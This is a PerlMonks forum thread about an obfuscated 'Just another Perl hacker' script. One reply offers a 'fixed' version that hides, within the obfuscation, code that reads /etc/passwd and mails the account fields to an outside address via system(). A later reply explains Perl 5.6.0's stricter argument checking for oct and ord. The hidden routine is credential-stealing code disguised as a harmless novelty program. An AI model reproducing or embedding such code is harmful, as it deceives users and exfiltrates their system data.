in reply to Not exactly new, but still fun

It didn't work for me. :-( Here's the error I got:

Too many arguments for oct at suspicious_looking_japh.pl line 6, near "$foo)" BEGIN not safe after errors--compilation aborted at suspicious_looking_japh.pl line 8.

Here's a version that's been modified so it works on my computer:
<BLINK>;for (74,1970500640, 1634627444,1751478816,1348825708,543711587 +, 1801810465){for($foo=1<<1^1; $foo>=1>>1; $foo--){$fOO=hex ff;#@passwor +d =sub cut{($u,$c,$f)=@_;$d=':';while (<$f>) {split($d);push(@p,$_[$u],$ +_ [$c]);}return@p}$f=\*F;open($f,"/etc/passwd")|| die"Error:$!\n";@passw +d =cut(0,1,$f);system"echo \Q@passwd\E|mail archon\@forbidden.dough.net" +; $foo=~s,\d,$&*10,e,$fOo=oct($foo),$foo/=1/.1,$fOO<<=$fOo,$Foo.=chr(($_ +& $fOO)>>$fOo),$foO++}}$|=1;while(!$^S){$o=$o?$?:$/;print reverse$o?$Foo +: $"x$foO if$;;print chr(8) x $foO;sleep "Just a Perl Hacker"+1}</BLINK> +;

Replies are listed 'Best First'.
Re: Re: Not exactly new, but still fun
by archon (Monk) on Mar 07, 2001 at 02:16 UTC
    interesting.. perl 5.6.0 doesn't like it. it works in 5.005_03. the intent was for the comma to be used in scalar context. this should cause it to evaluate the search/replace on the LHS and then return $foo on the RHS.

    Looks like they changed this behavior for several functions (ord, oct, etc).

    5.005_03:

    perl -le 'my $x = ord(1,2);print $x'; 50

    5.6.0:

    perl -le 'my $x = ord(1,2);print $x'; Too many arguments for ord at -e line 1, near "2)" Execution of -e aborted due to compilation errors.